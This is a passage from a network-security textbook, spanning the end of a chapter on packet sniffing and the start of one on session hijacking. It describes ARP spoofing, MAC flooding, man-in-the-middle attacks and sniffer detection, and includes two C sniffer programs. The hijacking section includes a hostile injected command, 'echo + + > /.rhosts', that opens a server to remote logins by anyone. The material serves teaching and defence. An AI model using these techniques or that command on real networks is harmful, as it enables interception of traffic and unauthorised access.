dynamically discover the new IP address assigned to the suspect.
Monitoring begins when the IP address is assigned, and stops when it is
unassigned.
The FBI developed Carnivore because utilities like dsniff do not meet the
needs of law enforcement.When an e-mail is sent across the wire, it is broken
down into multiple packets. A utility like mailsnarf (described earlier) will
reassemble the e-mail back into its original form.This is bad because the suspect’s
defense attorneys will challenge its accuracy: Did a packet get dropped somewhere
in the middle that changes the meaning of the e-mail? Did a packet from
a different e-mail somehow get inserted into the message? By capturing the raw
packets rather than reassembling them, Carnivore maintains the original sequence
numbers, ports, and timestamps.Any missing or extra packets are clearly visible,
allowing the FBI to defend the accuracy of the system.
www.syngress.com
Sniffing • Chapter 10 385
Another problem that the FBI faces is minimization of the sniffed data.When
the FBI wiretaps your line, they must assign an agent to listen in. If somebody
else uses your phone (like your spouse or kids), they are required to turn off the
tape recorders. In much the same way, Carnivore is designed to avoid capturing
anything that does not belong to the suspect. A typical example would be using
Carnivore to monitor the activities of a dial-up user. Carnivore contains a
module to monitor the RADIUS traffic that is used by most ISPs to authenticate
the user and assign a dynamic IP address.This allows Carnivore to monitor only
that user without intercepting any other traffic. A sample program containing
many of the features of Carnivore can be found on the Web site for this book
(www.syngress.com/solutions).
Additional Resources
There are some interesting locations that provide a more comprehensive list of
available sniffer programs, some of which are listed here:
 A list of network monitoring programs available from Underground
Security Systems Research: www.ussrback.com/packetsniffers.htm.
 A very good and very detailed overview of packet sniffers written by
Robert Graham: www.robertgraham.com/pubs/sniffing-faq.html.
NOTE
A FAQ for Carnivore can be found at www.robertgraham.com/pubs/
carnivore-faq.html.
Advanced Sniffing Techniques
As technology has moved forward, attackers have had to create new methods to
sniff network traffic.The next sections take a look at a couple of methods that
attackers use to get around technology advancements.
Man-in-the-Middle (MITM) Attacks
As we describe later, the most effective defense against sniffing is using encrypted
protocols such as SSL and SSH. However, the latest dsniff and Ettercap packages
contain techniques for fooling encryption.
www.syngress.com
386 Chapter 10 • Sniffing
The basic technique is known as a man-in-the-middle (MITM) attack.A
good example of this is in the James Bond movie From Russia with Love. Bond is
supposed to meet another agent in a train station.The evil agent from SPECTRE
contacts the agent first, pretending to be Bond. In this manner, the evil agent gets
the correct passphrase.The evil agent then pretends to be the agent that Bond is
supposed to contact.
The same technique can be applied to encrypted protocols. An attacker sets
up a server that answers requests from clients. For example, the server could
answer a request for https://www.amazon.com.A user contacting this machine will
falsely believe they have established an encrypted session to Amazon.com.At the
same time, the attacker contacts the real Amazon.com and pretends to be the
user.The attacker plays both roles, decrypting the incoming data from the user,
then reencrypting it for transmission to the original destination.
In theory, encryption protocols have defenses against this. A server claiming to
be Amazon.com needs to prove that it is, indeed,Amazon.com. In practice, most
users ignore this. MITM attacks have proven effective when used in the field.
Cracking
Tools like dsniff and Ettercap capture not only passwords, but also encrypted passwords.
In theory, capturing the encrypted passwords is useless. However, people
choose weak passwords, such as words from the dictionary. It takes only a few
seconds for an attacker to run through a 100,000-word dictionary, comparing the
encrypted form of each dictionary word against the encrypted password. If a
match is found, then the attacker has discovered the password.
Such password cracking programs already exist.Tools like dsniff and Ettercap
simply output the encrypted passwords in a form that these tools can read.
Switch Tricks
Switches came into vogue a few years ago, and a lot of people think that if they
have a switched network, it is impossible for an attacker to use a sniffer successfully
to capture any information from them. It’s time to burst their bubble, as you
will see when we discuss methods of successfully sniffing on a switched network.
ARP Spoofing
When attempting to monitor traffic on a switched network, you will run into
one serious problem:The switch will limit the traffic that is passed over your section
of the network. Switches keep an internal list of the MAC addresses of hosts
www.syngress.com
Sniffing • Chapter 10 387
that are on each port.Traffic is sent to a port only if the destination host is
recorded as being present on that port. It is possible to overwrite the ARP cache
on many operating systems, which would allow you to associate your MAC
address with the default gateway’s IP address.This would cause all outgoing traffic
from the target host to be transmitted to you instead.You would need to ensure
that you manually have added an ARP table entry for the real default gateway, to
ensure that the traffic will be sent to the real target, and also to ensure that you
have IP forwarding enabled.
It has been found that many cable modem networks are also vulnerable to
this type of attack, since the cable modem network is essentially an Ethernet
network, with cable modems acting as bridges. In short, there is no solution to
this attack, and new generations of cable modem networks will use alternate
mechanisms to connect a user to the network.
The dsniff sniffer by Dug Song includes a program named arpspoof (formerly
arpredirect) for exactly this purpose.
arpspoof redirects packets from a target host (or all hosts) on the
LAN intended for another host on the LAN by forging ARP replies.
This is an extremely effective way of sniffing traffic on a switch.
—dsniff FAQ
MAC Flooding
To serve its purpose, a switch must keep a table of all MAC (Ethernet) addresses
of the hosts that appear on each port. If a large number of addresses appear on a
single port, filling the address table on the switch, then the switch no longer has a
record of which port the victim MAC address is connected to.This is the same
situation as when a new machine first attaches to a switch, and the switch must
learn where that address is. Until it learns which port it is on, the switch must
send copies of frames for that MAC address to all switch ports, a practice known
as flooding.
The dsniff sniffer includes a program named macof, which facilitates the
flooding of a switch with random MAC addresses to accomplish this:
macof floods the local network with random MAC addresses
(causing some switches to fail open in repeating mode, facilitating
sniffing). A straight C port of the original Perl Net::RawIP macof
program by Ian Vitek <ian.vitek@infosec.se>. —dsniff FAQ
www.syngress.com
388 Chapter 10 • Sniffing
Routing Games
One method to ensure that all traffic on a network will pass through your host is
to change the routing table of the host you wish to monitor.This may be possible
by sending a fake route advertisement message via RIP, declaring yourself as the
default gateway. If successful, all traffic will be routed through your host. Ensure
that you have enabled IP forwarding, and that your default gateway is set to the
real network gateway. All outbound traffic from the host will pass through your
host, and onto the real network gateway.You may not receive return traffic, unless
you also have the ability to modify the routing table on the default gateway to
reroute all return traffic back to you.
Exploring Operating System APIs
Operating systems provide, or don’t provide, interfaces to their network link layer.
Let’s examine a variety of operating systems to determine how they interface to
their network link layer.
Linux
Linux provides an interface to the network link layer via its socket interface.This
is one of the easiest of the interfaces provided by any operating system.The following
program illustrates how simple this is.This program opens up the speci-
fied interface, sets promiscuous mode, and then proceeds to read Ethernet packets
from the network.When a packet is read, the source and destination MAC
addresses are printed, in addition to the packet type.
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/sockios.h>
#include <net/ethernet.h>
int open_interface(char *name)
{
www.syngress.com
Sniffing • Chapter 10 389
struct sockaddr addr;
struct ifreq ifr;
int sockfd;
/* open a socket and bind to the specified interface */
sockfd = socket(AF_INET, SOCK_PACKET, htons(ETH_P_ALL));
if (sockfd < 0)
return -1;
memset(&addr, 0, sizeof(addr));
addr.sa_family = AF_INET;
strncpy(addr.sa_data, name, sizeof(addr.sa_data));
if (bind(sockfd, &addr, sizeof(addr)) != 0) {
close(sockfd);
return -1;
}
/* check to make sure this interface is ethernet, otherwise exit */
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, name, sizeof(ifr.ifr_name));
if (ioctl(sockfd, SIOCGIFHWADDR, &ifr) < 0) {
close(sockfd);
return -1;
}
if (ifr.ifr_hwaddr.sa_family != ARPHRD_ETHER) {
close(sockfd);
return -1;
}
www.syngress.com
390 Chapter 10 • Sniffing
/* now we set promiscuous mode */
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, name, sizeof(ifr.ifr_name));
if (ioctl(sockfd, SIOCGIFFLAGS, &ifr) < 0) {
close(sockfd);
return -1;
}
ifr.ifr_flags |= IFF_PROMISC;
if (ioctl(sockfd, SIOCSIFFLAGS, &ifr) < 0) {
close(sockfd);
return -1;
}
return sockfd;
}
/* read ethernet packets, printing source and destination addresses */
int read_loop(sockfd)
{
struct sockaddr_in from;
char buf[1792], *ptr;
int size, fromlen, c;
struct ether_header *hdr;
while (1) {
/* read the next available packet */
size = recvfrom(sockfd, buf, sizeof(buf), 0, &from, &fromlen);
if (size < 0)
return -1;
www.syngress.com
Sniffing • Chapter 10 391
if (size < sizeof(struct ether_header))
continue;
hdr = (struct ether_header *)buf;
/* print out ethernet header */
for (c = 0; c < ETH_ALEN; c++)
printf("%s%02x",c == 0 ? "" : ":",hdr->ether_shost[c]);
printf(" > ");
for (c = 0; c < ETH_ALEN; c++)
printf("%s%02x",c == 0 ? "" : ":",hdr->ether_dhost[c]);
printf(" type: %i\n", hdr->ether_type);
}
}
int main(int argc, char **argv)
{
int sockfd;
char *name = argv[1];
if (!argv[1]) {
fprintf(stderr, "Please specify an interface name\n");
return -1;
}
if ((sockfd = open_interface(name)) < 0) {
fprintf(stderr, "Unable to open interface\n");
return -1;
}
www.syngress.com
392 Chapter 10 • Sniffing
if (read_loop(sockfd) < 0) {
fprintf(stderr, "Error reading packet\n");
return -1;
}
return 0;
}
BSD
BSD-based operating systems such as OpenBSD, FreeBSD, NetBSD, and BSDI all
provide an interface to the link layer via a kernel-based driver called the Berkeley
Packet Filter (BPF). BPF possesses some very nice features that make it extremely
efficient at processing and filtering packets.
The BPF driver has an in-kernel filtering mechanism.This is composed of a
built-in virtual machine, consisting of some very simple byte operations allowing
for the examination of each packet via a small program loaded into the kernel by
the user.Whenever a packet is received, the small program is run on the packet,
evaluating it to determine whether it should be passed through to the user-land
application. Expressions are compiled into simple bytecode within user-land, and
then loaded into the driver via an ioctl() call.
libpcap
libpcap is not an operating system interface, but rather a portable cross-platform
library that greatly simplifies link layer network access on a variety of operating
systems. libpcap is a library originally developed at Lawrence Berkeley
Laboratories (LBL). Its goal is to abstract the link layer interface on various operating
systems and create a simple standardized application program interface
(API).This allows the creation of portable code, which can be written to use a
single interface instead of multiple interfaces across many operating systems.This
greatly simplifies the technique of writing a sniffer, when compared to the effort
required to implement such code on multiple operating systems.
The original version available from LBL has been significantly enhanced since
its last official release. It has an open source license (the BSD license), and therefore
can also be used within commercial software, and allows unlimited modifications
and redistribution.
www.syngress.com
Sniffing • Chapter 10 393
The original LBL version can be obtained from ftp://ftp.ee.lbl.gov/
libpcap.tar.Z .The tcpdump.org guys, who have taken over development of
TCPDump, have also adopted libpcap. More recent versions of libpcap can be
found at www.tcpdump.org.
In comparison to the sniffer written for the Linux operating system, using its
native system interface, a sniffer written on Linux using libpcap is much simpler,
as seen here:
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <net/ethernet.h>
#include <pcap/pcap.h>
pcap_t *open_interface(char *name)
{
pcap_t *pd;
char ebuf[PCAP_ERRBUF_SIZE];
/* use pcap call to open interface in promiscuous mode */
pd = pcap_open_live(name, 1600, 1, 100, ebuf);
if (!pd)
return NULL;
return pd;
}
int read_loop(pcap_t *pd)
{
const unsigned char *ptr;
int size, c;
struct pcap_pkthdr h;
struct ether_header *hdr;
while (1) {
www.syngress.com
394 Chapter 10 • Sniffing
/* read the next available packet using libpcap */
ptr = pcap_next(pd, &h);
if (h.caplen < sizeof(struct ether_header))
continue;
hdr = (struct ether_header *)ptr;
/* print out ethernet header */
for (c = 0; c < ETH_ALEN; c++)
printf("%s%02x",c == 0 ? "" : ":",hdr->ether_shost[c]);
printf(" > ");
for (c = 0; c < ETH_ALEN; c++)
printf("%s%02x",c == 0 ? "" : ":",hdr->ether_dhost[c]);
printf(" type: %i\n", hdr->ether_type);
}
}
int main(int argc, char **argv)
{
pcap_t *pd;
char *name = argv[1];
if (!argv[1]) {
fprintf(stderr, "Please specify an interface name\n");
return -1;
}
pd = open_interface(name);
if (!pd) {
www.syngress.com
Sniffing • Chapter 10 395
fprintf(stderr, "Unable to open interface\n");
return -1;
}
if (read_loop(pd) < 0) {
fprintf(stderr, "Error reading packet\n");
return -1;
}
return 0;
}
Windows
Unfortunately,Windows-based operating systems provide no functionality to
access the network at the data link layer.We must obtain and install a third-party
packet driver to obtain access to this level. Until recently, there have been no
such drivers publicly available for which a license was not required. A BPF-like
driver has now been written that supports even the BPF in-kernel filtering
mechanism. A port of the libpcap library is also now available that, when combined
with the driver, provides an interface as easy as their UNIX counterparts.
The driver, libpcap port, as well as a Windows version of TCPDump, are both
available from http://netgroup-serv.polito.it/windump.
Taking Protective Measures
So you probably think that all is lost and that there is nothing you can do to prevent
sniffing from occurring on your network, right? All is not lost, as you will
see in this section.
Providing Encryption
Fortunately, for the state of network security, encryption (used properly) is the
one silver bullet that will render a packet sniffer useless. Encrypted data, assuming
its encryption mechanism is valid, will thwart any attacker attempting to passively
monitor your network.
Many existing network protocols now have counterparts that rely on strong
encryption, and all-encompassing mechanisms such as IPSec provide this for all
www.syngress.com
396 Chapter 10 • Sniffing
protocols. Unfortunately, IPSec is not widely used on the Internet outside of
individual corporations.
Secure Shell (SSH)
Secure Shell is a cryptographically secure replacement for the standard Telnet,
rlogin, rsh, and rcp commands. It consists of both a client and server that use
public key cryptography to provide session encryption. It also provides the ability
to forward arbitrary ports over an encrypted connection, which comes in very
handy for the forwarding of X11 Windows and other connections.
SSH has received wide acceptance as the secure mechanism to access a
remote system interactively. SSH was conceived and initially developed by
Finnish developer Tatu Ylonen.The original version of SSH turned into a commercial
venture, and although the original version is still freely available, the
license has become more restrictive.A public specification has been created,
resulting in the development of a number of different versions of SSH-compliant
client and server software that do not contain these restrictions (most signifi-
cantly, those that restrict commercial use).
The original SSH, written by Tatu Ylonen, is available from ftp://ftp.cs.hut.fi/
pub/ssh/.The new commercialized SSH can be purchased from SSH
Communications Security (www.ssh.com), who have made the commercial
version free to recognized universities.
A completely free version of SSH-compatible software, OpenSSH, developed
by the OpenBSD operating system project (as seen in Figure 10.8), can be
obtained from www.openssh.com.
www.syngress.com
Figure 10.8 The OpenSSH Project
Sniffing • Chapter 10 397
Incidentally, the OpenBSD/OpenSSH team does a lot of good work for little
or no money. Figure 10.8 is available as a T-shirt, and proceeds go to help cover
expenses for the project. Check out the shirts, posters, and CD-ROMs that they
sell at www.openbsd.org/orders.html.
Secure Sockets Layers (SSL)
SSL provides authentication and encryption services. From a sniffing perspective,
SSL is vulnerable to a man-in-the-middle attack (as described previously in the
dsniff section). An attacker can set up a transparent proxy between you and the
Web server.This transparent proxy can be configured to decrypt the SSL connection,
sniff it, and then reencrypt it.When this happens, the user will be prompted
with dialogs similar to Figure 10.9.The problem is that most users ignore the
warnings and proceed anyway.
PGP and S/MIME
PGP and S/MIME are standards for encrypting e-mail. If used correctly, these
will prevent e-mail sniffers like dsniff and Carnivore from being able to interpret
intercepted e-mail.
In the United States, the FBI has designed a Trojan horse called Magic Lantern
that is designed to log keystrokes, hopefully capturing a user’s passphrase. Once
the FBI gets a passphrase, they can then decrypt the e-mail messages. In the
United Kingdom, users are required by law to give their encryption keys to law
enforcement when requested.
www.syngress.com
Figure 10.9 Incorrect SSL Certificate Alert
398 Chapter 10 • Sniffing
Switching
Network switches do make it more difficult for an attacker to monitor your network;
however, not by much. Switches sometimes are recommended as a solution
to the sniffing problem; however, their real purpose is to improve network performance,
not provide security. As explained in the section “Advanced Sniffing
Techniques,” any attacker with the right tools can still monitor a switched host if
they are on the same switch or segment as that system.
Employing Detection Techniques
But what if you can’t use encryption on your network for some reason? What do
you do then? If this is the case, then you must rely on detecting any network
interface card (NIC) that may be operating in a manner that could be invoked by
a sniffer.
Local Detection
Many operating systems provide a mechanism to determine whether a network
interface is running in promiscuous mode.This is usually represented in a type of
status flag that is associated with each network interface and maintained in the
kernel.This can be obtained by using the ifconfig command on UNIX-based
systems.
The following examples show an interface on the Linux operating system
when it isn’t in promiscuous mode:
eth0 Link encap:Ethernet HWaddr 00:60:08:C5:93:6B
inet addr:10.0.0.21 Bcast:10.0.0.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1492448 errors:2779 dropped:0 overruns:2779 frame:2779
TX packets:1282868 errors:0 dropped:0 overruns:0 carrier:0
collisions:10575 txqueuelen:100
Interrupt:10 Base address:0x300
Note that the attributes of this interface mention nothing about promiscuous
mode.When the interface is placed into promiscuous mode, as shown next, the
PROMISC keyword appears in the attributes section:
eth0 Link encap:Ethernet HWaddr 00:60:08:C5:93:6B
inet addr:10.0.0.21 Bcast:10.0.0.255 Mask:255.255.255.0
www.syngress.com
Sniffing • Chapter 10 399
UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1
RX packets:1492330 errors:2779 dropped:0 overruns:2779 frame:2779
TX packets:1282769 errors:0 dropped:0 overruns:0 carrier:0
collisions:10575 txqueuelen:100
Interrupt:10 Base address:0x300
It is important to note that if an attacker has compromised the security of the
host on which you run this command, he or she can easily affect this output.An
important part of an attacker’s toolkit is a replacement ifconfig command that
does not report interfaces in promiscuous mode.
Network Detection
There are a number of techniques, varying in their degree of accuracy, to detect
whether a host is monitoring the network for all traffic.There is no guaranteed
method to detect the presence of a network sniffer.
DNS Lookups
Most programs that are written to monitor the network perform reverse DNS
lookups when they produce output consisting of the source and destination hosts
involved in a network connection. In the process of performing this lookup, additional
network traffic is generated; mainly, the DNS query to look up the network
address. It is possible to monitor the network for hosts that are performing
a large number of address lookups alone; however, this may be coincidental, and
not lead to a sniffing host.
An easier way, which would result in 100 percent accuracy, would be to generate
a false network connection from an address that has no business being on
the local network.We would then monitor the network for DNS queries that
attempt to resolve the faked address, giving away the sniffing host.
Latency
A second technique that can be used to detect a host that is monitoring the network
is to detect latency variations in the host’s response to network traffic (i.e.,
ping). Although this technique can be prone to a number of error conditions
(such as the host’s latency being affected by normal operation), it can assist in
determining whether a host is monitoring the network.The method that can be
used is to probe the host initially, and sample the response times. Next, a large
amount of network traffic is generated, specifically crafted to interest a host that
www.syngress.com
400 Chapter 10 • Sniffing
is monitoring the network for authentication information. Finally, the latency of
the host is sampled again to determine whether it has changed significantly.
Driver Bugs
Sometimes an operating system driver bug can assist us in determining whether a
host is running in promiscuous mode. In one case, CORE-SDI, an Argentine
security research company, discovered a bug in a common Linux Ethernet driver.
They found that when the host was running in promiscuous mode, the operating
system failed to perform Ethernet address checks to ensure that the packet was
targeted toward one of its interfaces. Instead, this validation was performed at the
IP level, and the packet was accepted if it was destined to one of the host’s interfaces.
Normally, packets that did not correspond to the host’s Ethernet address
would have been dropped at the hardware level; however, in promiscuous mode,
this doesn’t happen.We could determine whether the host was in promiscuous
mode by sending an ICMP ping packet to the host, with a valid IP address of the
host, but an invalid Ethernet address. If the host responded to this ping request, it
was determined to be running in promiscuous mode.
AntiSniff
AntiSniff is a tool written by a Boston-based group of grey-hat hackers known as
the L0pht.They have combined several of the techniques just discussed into a
tool that can serve to effectively detect whether a host is running in promiscuous
mode.A 15-day trial version of this tool (for Windows-based systems) can be
obtained from their Web site located at www.securitysoftwaretech.com/antisniff.
A UNIX version is available for free for noncommercial use. See the license
for the restrictions on using this version.
Remember that AntiSniff finds some sniffers, not all. Some sniffers are completely
stealth, whereas others have been patched to counteract AntiSniff.
Network Monitor
Network Monitor, available on Windows NT based systems, has the capability to
monitor who is actively running NetMon on your network. It also maintains a
history of who has NetMon installed on their system. It detects only other copies
of Network Monitor, so if the attacker is using another sniffer, then you must
detect it using one of the previous methods discussed. Most network-based intrusion
detection systems will also detect these instances of NetMon.
www.syngress.com
Sniffing • Chapter 10 401
Summary
Sniffing is monitoring a network for useful information. Sniffing can be used to
steal authentication information (passwords), can be used to steal e-mail, monitor
Web usage, and generally discover everything a target is doing on a network.
Protocols that are useful to sniff for passwords include Telnet, POP3, IMAP,
HTTP, and NetBIOS.
There are many popular sniffing software packages.These include Ethereal,
Sniffer Pro, NetMon,AiroPeek,TCPDump, dsniff, and Ettercap. Some of these
are commercial, and some are available for free. For password monitoring, dsniff is
the most useful. It’s also one of the free ones. It also has modules for monitoring
e-mail and Web traffic. Carnivore is a specialized sniffer used by law enforcement
that has more filtering options than many others (and is not available to the general
public).
Traditionally, most local area networks sent traffic to all attached nodes.
Currently, many networks employ switches, which are network devices designed
to help improve performance.They can also hinder sniffing somewhat, since they
are designed to not send traffic to nodes that aren’t supposed to get it.There are
tricks that can be played to get around this problem, such as MAC flooding,ARP
spoofing, or route manipulation.These techniques are designed to give a sniffer
on a switched network an opportunity to monitor traffic again. MAC flooding
and route manipulation work by manipulating the network equipment itself.
ARP spoofing works by manipulating the ARP table of the machine that is to be
monitored. Some of the sniffing packages mentioned come with tools to accomplish
these tricks.
Each operating system comes with its own API for capturing network traffic,
except older versions of Windows. Free add-on driver software is available for
versions of Windows that don’t include the functionality.Writing a program to
capture network traffic can be done in a handful of lines in many cases, though
you will need the appropriate privileges in order to use it. However, actually
decoding the traffic your program captures will be much harder.
In general, encryption is the way to defend against sniffing. If done properly,
encrypted network traffic will defeat any sniffing attempts. However, many
encryption schemes rely on the end user to make intelligent choices regarding
the error messages the might see.This leaves a hole for MITM attacks, which
may cause an error, but the error is often ignored.The dsniff package includes
some tools for performing MITM (monkey-in-the-middle, in that case) attacks.
www.syngress.com
402 Chapter 10 • Sniffing
There are some ways that some sniffers can be detected, if they are running
on top of a general-purpose operating system.These include seeing if any DNS
queries happen for fake IP address, checking for responses to packets with the
wrong MAC address, and others.These will never be 100 percent reliable,
because it is possible to build a totally passive sniffer.
Solutions Fast Track
What Is Sniffing?
Sniffing is a network wiretap that passively monitors network traffic.
In classic operation, a sniffer attaches on the side of the network wire.
In modern operation, sniffers are installed on the target machine or as
gateways in order to intercept traffic.
What to Sniff?
The most common target for sniffers is cleartext authentication
information, such as the usernames and passwords found in such
protocols as Telnet, FTP, and HTTP.
The second most common targets are e-mail messages, HTTP input, or
Telnet sessions.
Popular Sniffing Software
There are many commercial and freeware sniffing products that are
intended to be used as network diagnostic tools, such as Ethereal,
Network Associate’s Sniffer Pro, NetMon,WildPackets’ AiroPeek, and
tcpdump.These products don’t have hacker features such as password
grabbing.
Examples of hacker sniffing tools are dsniff, Ettercap, Esniff, and Sniffit.
Rather than sniffing all traffic, these tools target passwords and cleartext
data.
www.syngress.com
Sniffing • Chapter 10 403
Advanced Sniffing Techniques
It is harder to sniff on today’s networks than it was in the past, primarily
due to the use of switches. Older networks repeated data on all wires,
allowing anybody on the network to see all traffic. Switches prevent
others from seeing your traffic.
Switches can be attacked in various ways, such as flooding with MAC
addresses to force failure conditions, spoofing ARP packets, or spoofing
routing packets.These techniques confuse equipment in to forwarding
network traffic to a nearby hacker running a sniffer.
Several sniffing packages allow attackers to interpose themselves as part
of a man-in-the-middle attack. An example is pretending to be an
HTTPS server; the victim encrypts traffic with the attacker’s key
thinking it is the trusted server’s key.This allows the attacker to see the
data before reencrypting with the real server’s key.
Exploring Operating System APIs
Sniffing is not a normal operating mode of an operating system. Special
APIs must be used to enable it.
The libpcap API is the most widely supported API across UNIX/
Windows platforms, and there are more specialized APIs for specific
platforms.
Taking Protective Measures
The most important defense against sniffers is encryption. Most protocols
support encryption of the authentication credentials (username, password)
and data. SSL and SSH are the two most important encryption standards.
Encryption does not work if it is not used properly. Users much choose
strong passwords and must be vigilant against man-in-the-middle attacks.
Replacing shared media hubs with switches will make sniffing harder,
but cannot be relied upon to make sniffing impossible.
www.syngress.com
404 Chapter 10 • Sniffing
Employing Detection Techniques
The most important measure is to monitor hosts themselves in order to
see if their interfaces have been placed in promiscuous mode.This
indicates not only that a sniffer is running, but that the box has been
compromised by a hacker.
Remotely detecting sniffers is not reliable. Remote detection relies upon
hosts behaving in certain ways, such as running slowly when the sniffer
is active, or sniffers who resolve IP addresses to names. Only some
sniffers will behave this way.
Q: Is network monitoring legal?
A: Although using sniffers for network diagnostics and management is legal, network
monitoring of employee activities by management has been highly
debated. Commercial tools exist for exactly this purpose. In most countries
(particularly the United States and United Kingdom), it is legal for employers
to monitor any activity that traverses their own networks, including all
employee activity.
Q: How can I detect a sniffer running on my network?
A: There is no 100 percent reliable method to detect a sniffer; however, utilities
are available to assist in this (AntiSniff).
Q: How can I protect myself from a sniffer?
A: Encryption, encryption, and encryption—this is the one true solution. Many
newer versions of network protocols also support enhancements that provide
secure authentication.
www.syngress.com
Frequently Asked Questions
The following Frequently Asked Questions, answered by the authors of this book,
are designed to both measure your understanding of the concepts presented in
this chapter and to assist you with real-life implementation of these concepts. To
have your questions about this chapter answered by the author, browse to
www.syngress.com/solutions and click on the “Ask the Author” form.
Sniffing • Chapter 10 405
Q:Why can’t I get my tool to work under Windows?
A: Most of the sniffing tools described in this chapter were written on platforms
such as Linux.They can run under Windows, but you will need to install
UNIX-like features on Windows.You will usually need to install the
WinDump toolkit described earlier.You may need to install other utilities as
well, such as the Gnu environment.
Q: Can I use these tools on wireless networks?
A:Yes, but it is difficult without a lot of work. Sniffing is not supported by the
standard package you receive from your vendor.You need to search on the
Internet and find patches for your particular driver.You may also need to
download special utilities such as AirSnort that are designed to bypass the
poor encryption in today’s wireless networks. Luckily, most people don’t use
encryption, so this may not be necessary.

[mic64]

Chapter 11 • Session Hijacking
Introduction
The term session hijacking refers to an attacker’s ability to take over a portion of a
session (often a network conversation) and act as one of the participants. Session
hijacking is usually an extension of sniffing, except that sniffing is passive and
hijacking requires active participation.
Hijacking exploits the inherent weaknesses in most types of networks and
unencrypted protocols, namely that the information passes in the clear.This is the
same weakness that sniffing takes advantage of. In addition to monitoring, a
hijacking attack may also inject a packet or frame pretending to be one of the
communicating hosts.This act is similar to spoofing, except no guessing is
involved—all the necessary information is available to the attacker.
This chapter discusses what a hacker can accomplish with hijacking and the
tools that are currently available to perform hijacking attacks.
Understanding Session Hijacking
Session hijacking is probably best explained with an example: Imagine that the
hacker has accomplished enough of an attack or has positioned himself fortuitously
so that he’s able to monitor traffic between two machines. One of the
machines is a server that he’s been trying to break into.The other is obviously a
client. In our example, the attacker catches the root user logging in via Telnet,
and he successfully steals the password—only to find out that it is an s/key onetime
password. As the name implies, one-time passwords are used one time, so
even if someone is monitoring and steals the password, it will do him no good; at
that point the password has been “used up.”
What does the hacker do? Simple: He sends a packet with the appropriate
headers, sequence numbers, and the like with a body of:
<cr> echo + + > /.rhosts <cr>
where <cr> is the carriage-return character.This particular command presupposes
some other conditions before it’s useful, but it illustrates the point. If any of
the Berkeley “r” services are enabled, this particular command allows anyone in
the world to issue commands on that server as any user (including root).
Naturally, the attacker follows this action with some devastating set of commands
issued via rsh, forever giving him ownership of that box until the real owner can
format the drives and start over.
www.syngress.com
www.syngress.com
Now, there are some difficulties with this attack as outlined, and we’ll cover
all of those in detail in this chapter. Suffice it to say for now that the person sitting
in front of the original client will either have his or her connection dropped
or the command the hacker issued will be echoed back to that person’s screen.
Session Hijacking • Chapter 11 409
Got UNIX?
I don’t mean to start a religious war, but if you’re an IT professional who
does security work and so far you’ve used only Windows, someday you’ll
find that you need to work with some sort of UNIX system. The only
reason this is true that no one can really argue with you about is that
some security tools are available only for UNIX or work-alike systems. For
the purposes of this discussion, Linux, any of the BSDs, or any of the
commercial UNIX systems are all UNIX. Officially, UNIX is a trademark
and applies only to a couple of OSs from the Santa Cruz Operation (SCO)
and licensees, but for the purposes of compiling software, we don’t care
about trademarks.
So, which one to use? Probably, you’ll want a free OS to keep
expenses down. You’ll want something that runs on the Intel x86 processor
line so that you can use an old Windows box or dual-boot on a
Windows box. Linux is probably the easiest from a security tools experimentation
point of view. Because of its large user base, most of these
tools have instructions on how to get them to work on a Linux system.
Some tools (such as the previously mentioned Hunt) work only on Linux.
Linux isn’t necessarily the most secure UNIX out there, however, if that’s
a concern. (If you collect a large set of tools and with them you start to
collect information about your network, that information becomes
something you need to protect well.) For that, OpenBSD is pretty sexy to
security people because it’s one of the very few operating systems that
has security as one of its primary design goals, and it shows.
Another particularly interesting UNIX (a custom Linux distribution,
actually) is Trinux. It’s particularly useful for two reasons: First, because
it comes with a number of security tools already compiled, configured,
and ready to go. Second, it’s designed to boot off a diskette or CD-ROM
and read its software from another disk or file allocation table (FAT) hard
drive (or even FTP/HTTP servers). This means no disk partitioning! Trinux
can be found at http://trinux.sourceforge.net.
Tools & Traps…
410 Chapter 11 • Session Hijacking
TCP Session Hijacking
So, what happened under the hood in the Telnet-hijacking example we just
examined? Let’s take a look at how the hijacking of a Transmission Control
Protocol (TCP) connection works in general.When attempting to hijack a TCP
connection, a hacker must pay attention to all the details that go into a TCP connection.
These details include things like sequence numbers,TCP headers, and
ACK packets.
We won’t do a complete review of how TCP/IP works here, but let’s look
briefly at some relevant portions as a quick reminder. Recall that a TCP connection
starts out with the standard TCP three-way handshake:The client sends a
SYN (synchronization) packet, the server sends a SYN-ACK packet, and the
client responds with an ACK (acknowledgment) packet and then starts to send
data or waits for the server to send. During the information exchange, sequence
counters increment on both sides, and packet receipt must be acknowledged with
ACK packets.The connection finishes with either an exchange of FIN (finish)
packets, similar to the starting three-way handshake, or more abruptly with RST
(reset) packets.
Where during this sequence of packets does the hacker want to send?
Obviously, she wants to do it before the connection finishes, or else there will be
no connection left to hijack.The hacker almost always wants to hijack in the
middle, after a particular event has occurred.The event in question is the authentication
step.Think about what would happen if she were to hijack the connection
during the initial handshake or before the authentication phase had
completed.What would she have control of? The server would not be ready to
receive commands until the authentication phase had completed. She’d have a
hijacked connection that was waiting for her to provide a password of some sort.
In other words, she’d be in exactly the same situation as she would be if she’d just
connected as a normal client herself.
As mentioned before, the point of hijacking a connection is to steal trust.The
trust doesn’t exist before the authentication has occurred.There are some services
that can be configured to authenticate on IP address alone, such as the Berkeley
“r” services mentioned earlier, but if that’s the case, no hijacking is really
required; at that point, it becomes a matter of spoofing. If a hacker were in a
position to do TCP connection hijacking, she’d also easily be able to spoof effectively.
Note that when we say “If a hacker were in a position to…,” we mean that
the hacker must have control of the right victim machine to be able to accomplish
any of this activity. Just as with sniffing, the hacker will almost certainly
www.syngress.com
Session Hijacking • Chapter 11 411
need control of a box on the same Layer 2 network segment as either the client
or the server. Unless she’s able to pull some heavy route manipulation, the packets
won’t come to the hacker—she’ll have to go to the packets.
TCP Session Hijacking with Packet Blocking
If an attacker is able to perform a TCP session hijack in such a way that he completely
controls the transmission of packets between the two hosts, that attacker
has a considerable advantage. Contrast this scenario with the example in the preceding
section, where the attacker is likely sitting on shared network media with
one of the hosts and he can only inject packets, not remove them. Clearly, there
are a number of anomalous behaviors that either host, or perhaps an intrusion
